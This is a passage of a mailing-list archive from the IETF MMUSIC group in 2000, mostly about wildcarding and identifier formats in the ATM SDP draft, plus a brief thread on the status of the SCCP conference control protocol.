[<a href="mailto:rkumar@cisco.com" eudora="autourl">mailto:rkumar@cisco.com</a>] 
<dd>Sent: Tuesday, September 26, 2000 12:34 AM 
<dd>To: mhussain@hss.hns.com; atmsdp@eng.fore.com 
<dd>Subject: ATM SDP inputs from Naren and Mahamood<br>
<br>
</font><font color="#0000FF">
<dd>Mahamood and Naren, 
<dd>I have concatenated, below, several of your emails into one to
expedite my response. Hope this clears up the air. Thanks to you&nbsp;
for your latest round of inputs. These are specially significant to me
since your companies (Trillium and Hughes Software) are actually
implementing the draft.</font> 
<dd>Here are some responses, in-line. 
<dd>At 09:35 AM 9/20/00 +0530, mhussain@hss.hns.com wrote: 
<dd>&gt; 
<dd>&gt;1. Why does a port number need 32 digits for representation?
Won't 32 bits 
<dd>&gt;suffice? I am not aware of any machine that uses such a large
number range &gt;for its ports. Kindly clarify.<br>
<br>
<font color="#0000FF">
<dd>See
<a href="http://search.ietf.org/internet-drafts/draft-ietf-ptopomib-mib-05.txt" eudora="autourl">http://search.ietf.org/internet-drafts/draft-ietf-ptopomib-mib-05.txt</a>.
It refers to rfc2737 and rfc2233. In brief, it specifies the port
identifier as a variable size octet string of up to 32 octets. Although
the earlier drafts limited port ID to 32 bits (4 octets), it was
considered necessary to extend it to 32. I have a little clean-up to do
regarding the &quot;34 alphanumeric&quot; characters and I'll do it in
the next draft which I will circulate on the mailing list. Basically, I
will make it conform to what the IETF has standardized/recommended so far
in its physical topology MIBs. And, yes, there are implementations in
which the port ID is more than 32 bits e.g. cases in which there is a
six-byte&nbsp; IEEE 802 MAC address used as a physical port ID.</font>
<dd>&gt; 
<dd>&gt;2. The draft says &quot;.. to cover all cases, the &lt;portid&gt;
can consist of upto 34 
<dd>&gt;alphanumeric charecters. &quot;. My understanding of
'alphanumeric' is strings like 
<dd>&gt;&quot;mhussain_32&quot;. If we use such identifiers for a port,
is there going to be some 
<dd>&gt;kind of a mapping between the port number and the port
identifier? Since so far 
<dd>&gt;as I gather ports are identified only by a 32bit number.<br>
<br>
<font color="#0000FF">
<dd>See comment above.<br>
<br>
</font>
<dd>&gt; 
<dd>&gt;&nbsp;&nbsp;&nbsp;&nbsp; These are also problems in migrating
from the older draft to the newer 
<dd>&gt;one. 
<dd>&gt;The older draft qualified vcci, bcg, port id etc as &quot;decimal
numbers&quot;. With 
<dd>&gt;this 
<dd>&gt;new definition of &lt;portid&gt;, code written around the old
draft will be broken 
<dd>&gt;:-(. Can we come up with a scheme that extends the old
definitions without 
<dd>&gt;breaking old code?<br>
<br>
<font color="#0000FF">
<dd>I am going to be following Naren's suggestion that: &quot;There are a
few places (NSAP address, IEEE ID etc) where ONLY hex digits can appear.
In these cases I am fine with having no hex prefixes. My only concern was
places where a hex or a decimal may appear.&quot; In these cases where
decimal or hex values are permitted, I'll be requiring explicit 0x
prefixes to distinguish decimal from hex. Also, see my comment,
above,&nbsp; about cleaning up the alphanumeric port ID. I hope this also
helps backwards compatibility with the code that your team wrote around
the earlier draft. However, please note that there is risk associated
with writing code around specifications that are in flux. You should
expect minor changes until the document is ratified. This is just the way
things are.<br>
<br>

<dd>On another note, I think the consensus, by articulation or silence,
in this group is to disallow the implicit virtualConnectionId naming
convention. I will do that too. This is what Sean Sheedy, Naren Tulpule
and you wanted.<br>
<br>
</font>
<dd>&gt;&nbsp;&nbsp;&nbsp;&nbsp; Regarding the virtual connection ID for
the &quot;m=&quot; line, the current draft 
<dd>&gt;does not explicitly allow/ disallow the sub-parameters to be a
dollar. If I am 
<dd>&gt;not wrong, the oldest draft explicitly disallowed bcg from taking
on a dollar. 
<dd>&gt;Could such a restriction be included in the draft?<br>
<br>
<font color="#0000FF">
<dd>The older version did not disallow wildcarding the &lt;bcg&gt;. It
was omitted as an oversight. Actually, the &lt;bcg&gt; was added in the
description of the VirtualConnectionId without adding it into the
wildcarding description. That was a typo and not a&nbsp; feature. Since
there is no reason why&nbsp; &lt;bcg&gt; wildcarding should be
disallowed, I will not be adding the restriction you requested.<br>
<br>
</font>
<dd>&gt; 
<dd>&gt;Rajesh, could you also consider including a formal grammar
specification for 
<dd>&gt;ATM 
<dd>&gt;SDP? ABNF might be a good choice of representation. This will
help clear any 
<dd>&gt;ambiguities that may arise as the grammar will be the standard of
reference 
<dd>&gt;when 
<dd>&gt;building a parser or encoder for ATM sdp.<br>
<br>
<font color="#0000FF">
<dd>I do not think I will have a formal ABNF grammar in by the next
draft, which I hope to issue in a few days. Naren has provided me with
one to start with (Thanks!), but it needs some work. I plan to have it in
the next draft after the next.<br>
<br>
</font>
<dd>&gt; 
<dd>&gt; 
<dd>&gt;Thanx, 
<dd>&gt;Mahamood 
<dd>&gt; 
<dd>&gt;<br>
<br>
<br>
<br>
<br>
<br>

<dd>- Rajesh Kumar<font size=2 color="#800000"> 
<dd>&nbsp;<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab></font>
<dd>------------------------------------------------------- 
<dd>Rajesh
Kumar&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : 
<dd>Carrier Packet
Voice&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
.|.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .|. 
<dd>Cisco
Systems&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
.:|||:.&nbsp;&nbsp; .:|||:. 
<dd>San Jose,
California&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
..:|||||||:.:|||||||:.. 
<dd>408 527
0811&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
C i s c o S y s t e m s 
<dd>rkumar@cisco.com&nbsp; 
<dd>-------------------------------------------------------<font size=2 color="#800000"> 
<dd>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
<dd>&nbsp;</font><font face="garamond" color="#800000"> 
<dd>&nbsp;</font>
</dl><br>
<br>
<br>
<br>
- Rajesh Kumar<br>
<font size=2 color="#800000">&nbsp;<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><br>
</font>-------------------------------------------------------<br>
Rajesh
Kumar&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; :<br>
Carrier Packet
Voice&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
.|.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .|.<br>
Cisco
Systems&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
.:|||:.&nbsp;&nbsp; .:|||:.<br>
San Jose,
California&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
..:|||||||:.:|||||||:..<br>
408 527
0811&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
C i s c o S y s t e m s<br>
rkumar@cisco.com&nbsp; <br>
-------------------------------------------------------<br>
<font size=2 color="#800000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>
&nbsp;<br>
</font><font face="garamond" color="#800000">&nbsp;</font></i></blockquote></i></blockquote><br>
</i><br>

<br>
- Rajesh Kumar<br>
<font size=2 color="#800000">&nbsp;<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><br>
</font>-------------------------------------------------------<br>
Rajesh
Kumar&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; :<br>
Carrier Packet
Voice&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
.|.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .|.<br>
Cisco
Systems&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
.:|||:.&nbsp;&nbsp; .:|||:.<br>
San Jose,
California&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
..:|||||||:.:|||||||:..<br>
408 527
0811&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
C i s c o S y s t e m s<br>
rkumar@cisco.com&nbsp; <br>
-------------------------------------------------------<br>
<font size=2 color="#800000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>
&nbsp;<br>
</font><font face="Garamond" color="#800000"><i>&nbsp;<br>
</font></i></html>

--=====================_33192688==_.ALT--


From confctrl-owner  Tue Oct 10 18:23:38 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id SAA11297
	for confctrl-outgoing; Tue, 10 Oct 2000 18:23:38 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id SAA11292
	for <confctrl@zephyr.isi.edu>; Tue, 10 Oct 2000 18:23:36 -0700 (PDT)
Received: from cisco.com (farley.cisco.com [171.71.153.30])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id SAA08391
	for <confctrl@isi.edu>; Tue, 10 Oct 2000 18:23:48 -0700 (PDT)
Received: from rkumar-ntl (dhcp-71-29-169.cisco.com [171.71.29.169])
	by cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) with SMTP id SAA02332;
	Tue, 10 Oct 2000 18:23:11 -0700 (PDT)
Message-Id: <4.1.20001010181159.030a1300@wanbu-mail.cisco.com>
X-Sender: rkumar@wanbu-mail.cisco.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 
Date: Tue, 10 Oct 2000 18:28:12 -0700
To: "Mackey, Michael" <Michael.Mackey@marconi.com>
From: Rajesh Kumar <rkumar@cisco.com>
Subject: another "$" vs "-" issue     
Cc: "Sophia Scoggins" <scoggins@nortelnetworks.com>,
        "Mark Watson" <mwatson@nortelnetworks.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>,
        "'atmsdp@eng.fore.com'" <atmsdp@eng.fore.com>, mmostafa@cisco.com
In-Reply-To: <2557DAF4C884D411B16600B0D03ED99E01E1D7@dl-msgusr-02.eu.for
 e.com>
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_34197353==_.ALT"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--=====================_34197353==_.ALT
Content-Type: text/plain; charset="us-ascii"

Michael,
Yes, "$" is a wildcard for the virtual connection ID. When the MGC sets it to
"$" it is asing the MG to pick a virtual connection ID. This could be done
immediately for VCs and CIDs that have been set up, or following SVC set-up.
Depending on the application, the MG might or might not need to return this
value. In the case of an existing (S)PVC assigned to a call, this value is
returned by the MG and forwarded ot the far-end via SDP. In the case of an SVC
assigned to the call, there is no need to return the virtual connection ID
value, since the eecid attribute is used to rendezvous the call. 

The bottom line is: when wildcarding the virtual connection ID, the MGC can
mean one of two things:
- Choose, and let me know.
- Choose, and I don't need to know.

Theoretically, we might want to set the virtual connection ID to "$" in the
first case and to "-" in the second. However, I do not think we need to make
this fine distinction, since this is implicit in the bearertype attribute. In
other words, yes, we can allow "-" or a "$" for virtual connection ID
wildcarding from a purist's perspective, but I do not see a real need for it.

What does the group think?

Thanks,

Rajesh  
At 12:34 PM 10/5/00 -0400, you wrote: 
>
> Hi Rajesh ...
>     I'm sorry but I think I've taken my eye off the ball for a little while
> ... For H.323 AnnexC I thought the format of the
> Descriptor was something like 
>  
>     v=0
>     c=ATM NSAP 31.3233.34.353637.3839.3031.3233.343536373839.30
>     m=audio $ AAL5/AVP 15 
>     a=capability: cbr - 
>     a=bearertype: SVC on
>     m=control 401
>     c=IN IP4 110.101.116.11
> But when I read through your latest doument you seem to have changed it to 
>  
>     v=0
>     c=ATM NSAP 31.3233.34.353637.3839.3031.3233.343536373839.30
>     m=audio $ RTP/AVP 15 
>     a=capability: cbr - 
>     a=aalApp:itu_h323c
>     a=bearertype: SVC on
>     m=control 401
>     c=IN IP4 110.101.116.11
> Where $ represents the VCCI .... Is this correct ? .... Might there be a case
> here for allowing the vcci to be not set '-' as it (from my understanding)
> has relavence only once the SVC is set up ...
>  
> Michael Mackey,
> Marconi Communications,
> Tel: +353 1 6638407
> - <http://www.marconi.com/>www.marconi.com -




- Rajesh Kumar
        
-------------------------------------------------------
Rajesh Kumar                             :         :
Carrier Packet Voice                    .|.       .|.
Cisco Systems                         .:|||:.   .:|||:.
San Jose, California               ..:|||||||:.:|||||||:..
408 527 0811                       C i s c o S y s t e m s
rkumar@cisco.com  
-------------------------------------------------------
          
 
 

--=====================_34197353==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
Michael,<br>
Yes, &quot;$&quot; is a wildcard for the virtual connection ID. When the
MGC sets it to &quot;$&quot; it is asing the MG to pick a virtual
connection ID. This could be done immediately for VCs and CIDs that have
been set up, or following SVC set-up. Depending on the application, the
MG might or might not need to return this value. In the case of an
existing (S)PVC assigned to a call, this value is returned by the MG and
forwarded ot the far-end via SDP. In the case of an SVC assigned to the
call, there is no need to return the virtual connection ID value, since
the eecid attribute is used to rendezvous the call. <br>
<br>
The bottom line is: when wildcarding the virtual connection ID, the MGC
can mean one of two things:<br>
- Choose, and let me know.<br>
- Choose, and I don't need to know.<br>
<br>
Theoretically, we might want to set the virtual connection ID to
&quot;$&quot; in the first case and to &quot;-&quot; in the second.
However, I do not think we need to make this fine distinction, since this
is implicit in the bearertype attribute. In other words, yes, we can
allow &quot;-&quot; or a &quot;$&quot; for virtual connection ID
wildcarding from a purist's perspective, but I do not see a real need for
it.<br>
<br>
What does the group think?<br>
<br>
Thanks,<br>
<br>
Rajesh&nbsp; <br>
At 12:34 PM 10/5/00 -0400, you wrote: <br>
<font face="arial" size=2 color="#0000FF"><blockquote type=cite cite>Hi
Rajesh ...</font><br>
&nbsp;&nbsp;&nbsp; I'm sorry but I think I've taken my eye off the ball
for a little while ... For H.323 AnnexC I thought the format of the<br>
Descriptor was something like <br>
&nbsp;<br>
<font face="arial" size=2 color="#0000FF">&nbsp;&nbsp;&nbsp;
v=0</font><br>
&nbsp;&nbsp;&nbsp; c=ATM NSAP
31.3233.34.353637.3839.3031.3233.343536373839.30<br>
&nbsp;&nbsp;&nbsp; m=audio $ AAL5/AVP 15 <br>
&nbsp;&nbsp;&nbsp; a=capability: cbr - <br>
&nbsp;&nbsp;&nbsp; a=bearertype: SVC on<br>
&nbsp;&nbsp;&nbsp; m=control 401<br>
&nbsp;&nbsp;&nbsp; c=IN IP4 110.101.116.11<br>
But when I read through your latest doument you seem to have changed it
to <br>
&nbsp;<br>
<font face="arial" size=2 color="#0000FF">&nbsp;&nbsp;&nbsp;
v=0</font><br>
&nbsp;&nbsp;&nbsp; c=ATM NSAP
31.3233.34.353637.3839.3031.3233.343536373839.30<br>
&nbsp;&nbsp;&nbsp; m=audio $
<font face="arial" size=2 color="#FF0000">RTP/AVP</font><font face="arial" size=2 color="#0000FF">
15 </font><br>
&nbsp;&nbsp;&nbsp; a=capability: cbr - <br>
<font face="arial" size=2 color="#FF0000">&nbsp;&nbsp;&nbsp; a=aalApp:itu_h323c</font><br>
<font face="arial" size=2 color="#0000FF">&nbsp;&nbsp;&nbsp; a=bearertype: SVC on</font><br>
&nbsp;&nbsp;&nbsp; m=control 401<br>
&nbsp;&nbsp;&nbsp; c=IN IP4 110.101.116.11<br>
Where $ represents the VCCI .... Is this correct ? .... Might there be a case here for allowing the vcci to be not set '-' as it (from my understanding) has relavence only once the SVC is set up ...<br>
&nbsp;<br>
<font face="arial" size=2><b><i>Michael Mackey,</font></b></i><br>
Marconi Communications,</b></i><br>
Tel: +353 1 6638407</b></i><br>
- <a href="http://www.marconi.com/">www.marconi.com</a> -</b></i></b></i></blockquote><br>
</b></i><br>

<br>
- Rajesh Kumar<br>
<font size=2 color="#800000">&nbsp;<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><br>
</font>-------------------------------------------------------<br>
Rajesh Kumar&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; :&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; :<br>
Carrier Packet Voice&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .|.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .|.<br>
Cisco Systems&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .:|||:.&nbsp;&nbsp; .:|||:.<br>
San Jose, California&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ..:|||||||:.:|||||||:..<br>
408 527 0811&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; C i s c o S y s t e m s<br>
rkumar@cisco.com&nbsp; <br>
-------------------------------------------------------<br>
<font size=2 color="#800000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>
&nbsp;<br>
</font><font face="Garamond" color="#800000"><i>&nbsp;<br>
</font></i></html>

--=====================_34197353==_.ALT--


From confctrl-owner  Tue Oct 10 19:48:14 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id TAA14337
	for confctrl-outgoing; Tue, 10 Oct 2000 19:48:14 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id TAA14332
	for <confctrl@zephyr.isi.edu>; Tue, 10 Oct 2000 19:48:13 -0700 (PDT)
Received: from insynergy.com ([63.74.114.149])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id TAA25019
	for <confctrl@ISI.EDU>; Tue, 10 Oct 2000 19:48:25 -0700 (PDT)
Received: from FEIDY [193.153.250.74] by insynergy.com with ESMTP
  (SMTPD32-6.03) id A8B344F0236; Tue, 10 Oct 2000 23:04:19 -0400
Message-ID: <007901c0332d$b35dfcc0$0ac8c880@FEIDY>
From: "Fernando Orus" <forus@insynergy.com>
To: <confctrl@ISI.EDU>
Subject: test (don't read)
Date: Wed, 11 Oct 2000 04:48:12 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk




From confctrl-owner  Wed Oct 11 07:30:52 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id HAA07740
	for confctrl-outgoing; Wed, 11 Oct 2000 07:30:52 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA07735
	for <confctrl@zephyr.isi.edu>; Wed, 11 Oct 2000 07:30:51 -0700 (PDT)
Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id HAA21822
	for <confctrl@ISI.EDU>; Wed, 11 Oct 2000 07:31:02 -0700 (PDT)
Received: from fogerty.lmf.ericsson.se (fogerty.lmf.ericsson.se [131.160.11.6])
	by penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with ESMTP id e9BEV0Z15462
	for <confctrl@ISI.EDU>; Wed, 11 Oct 2000 16:31:00 +0200 (MEST)
Received: from lmf.ericsson.se (E005004B57CE1.lmf.ericsson.se [131.160.30.148])
	by fogerty.lmf.ericsson.se (8.9.3+Sun/8.9.3) with ESMTP id RAA24979
	for <confctrl@ISI.EDU>; Wed, 11 Oct 2000 17:30:59 +0300 (EET DST)
Message-ID: <39E47994.B3AD7048@lmf.ericsson.se>
Date: Wed, 11 Oct 2000 17:30:44 +0300
From: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
Organization: Oy L M Ericsson Ab
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: mmusic <confctrl@ISI.EDU>
Subject: SCCP
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

I would like to know the status of SCCP (Simple Conference Control
Protocol).

Thanks,

Gonzalo
-- 
Gonzalo Camarillo         Phone :  +358  9 299 33 71
Oy L M Ericsson Ab        Mobile:  +358 40 702 35 35
Telecom R&D               Fax   :  +358  9 299 30 52
FIN-02420 Jorvas          Email :  Gonzalo.Camarillo@ericsson.com
Finland                   http://www.hut.fi/~gonzalo

From confctrl-owner  Wed Oct 11 08:28:54 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id IAA09792
	for confctrl-outgoing; Wed, 11 Oct 2000 08:28:54 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA09787
	for <confctrl@zephyr.isi.edu>; Wed, 11 Oct 2000 08:28:53 -0700 (PDT)
Received: from mailhub.fokus.gmd.de (mailhub.fokus.gmd.de [193.174.154.14])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id IAA05513
	for <confctrl@ISI.EDU>; Wed, 11 Oct 2000 08:28:59 -0700 (PDT)
Received: from benetnash.fokus.gmd.de (benetnash [193.175.133.195])
	by mailhub.fokus.gmd.de (8.8.8/8.8.8) with ESMTP id RAA07635;
	Wed, 11 Oct 2000 17:28:52 +0200 (MET DST)
Received: (from chr@localhost)
	by benetnash.fokus.gmd.de (8.8.8/8.8.8) id RAA04042;
	Wed, 11 Oct 2000 17:28:52 +0200 (MET DST)
Date: Wed, 11 Oct 2000 17:28:52 +0200
From: Christoph Reichert <reichert@fokus.gmd.de>
To: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
Cc: mmusic <confctrl@ISI.EDU>
Subject: Re: SCCP
Message-ID: <20001011172852.A4007@fokus.gmd.de>
References: <39E47994.B3AD7048@lmf.ericsson.se>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0i
In-Reply-To: <39E47994.B3AD7048@lmf.ericsson.se>; from Gonzalo.Camarillo@lmf.ericsson.se on Wed, Oct 11, 2000 at 05:30:44PM +0300
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

On Wed, Oct 11, 2000 at 05:30:44PM +0300, Gonzalo Camarillo wrote:
> Hi,
> 
> I would like to know the status of SCCP (Simple Conference Control
> Protocol).
> 
> Thanks,
> 
> Gonzalo

Gonzalo, Group

as far as I know, there was no further development of SCCP since I
stopped working on it in 1997.

Although I believe the services SCCP provides are still those needed
for more controlled sessions (membership-, application-, floor control,
capability exchange), I discourage from following the approach taken by
SCCP.

The biggest disadvantage is that it depends heavily on a reliable, totally
ordered N to N multicast transport. Such a thing is currently "not
on the radar", and unlikly to be scalable anyway.

If and when more "tighly controlled" sessions should scale up to some
hundreds or even thousands of members, and ALF based approach like
those taken in the LBNL whiteboard (SRM) or UCL NTE should be taken.

I do not know the reason why SCCP is still mentioned on the MMUSIC charter.

cheers, chris

From confctrl-owner  Wed Oct 11 11:03:00 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id LAA15432
	for confctrl-outgoing; Wed, 11 Oct 2000 11:03:00 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA15425
	for <confctrl@zephyr.isi.edu>; Wed, 11 Oct 2000 11:02:58 -0700 (PDT)
Received: from nmh.informatik.uni-bremen.de (nmh.informatik.uni-bremen.de [134.102.224.3])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id LAA06897
	for <confctrl@ISI.EDU>; Wed, 11 Oct 2000 11:03:09 -0700 (PDT)
Received: from dienstmann.informatik.uni-bremen.de (dienstmann.informatik.uni-bremen.de [134.102.218.46])
	by nmh.informatik.uni-bremen.de (8.10.1/8.10.1) with ESMTP id e9BI37g25143;
	Wed, 11 Oct 2000 20:03:07 +0200 (MEST)
Received: (from cabo@localhost)
	by dienstmann.informatik.uni-bremen.de (8.8.8+Sun/8.8.7) id UAA03811;
	Wed, 11 Oct 2000 20:03:07 +0200 (MET DST)
Date: Wed, 11 Oct 2000 20:03:07 +0200 (MET DST)
Message-Id: <200010111803.UAA03811@dienstmann.informatik.uni-bremen.de>
X-Authentication-Warning: dienstmann.informatik.uni-bremen.de: cabo set sender to cabo@informatik.uni-bremen.de using -f
From: Carsten Bormann <cabo@Informatik.Uni-Bremen.DE>
To: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>,
        mmusic <confctrl@ISI.EDU>
Subject: Re: SCCP
In-Reply-To: <20001011172852.A4007@fokus.gmd.de>
References: <39E47994.B3AD7048@lmf.ericsson.se>
	<20001011172852.A4007@fokus.gmd.de>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Christoph Reichert writes:
> as far as I know, there was no further development of SCCP since I
> stopped working on it in 1997.

Actually, there is renewed interest, and we know of at least one
person working on a followup version.  I'll leave it to him to make
that work known to this group when he decides to do so.

> Although I believe the services SCCP provides are still those needed
> for more controlled sessions (membership-, application-, floor control,
> capability exchange), I discourage from following the approach taken by
> SCCP.
> 
> The biggest disadvantage is that it depends heavily on a reliable, totally
> ordered N to N multicast transport. Such a thing is currently "not
> on the radar", and unlikly to be scalable anyway.
>
> If and when more "tighly controlled" sessions should scale up to some
> hundreds or even thousands of members, and ALF based approach like
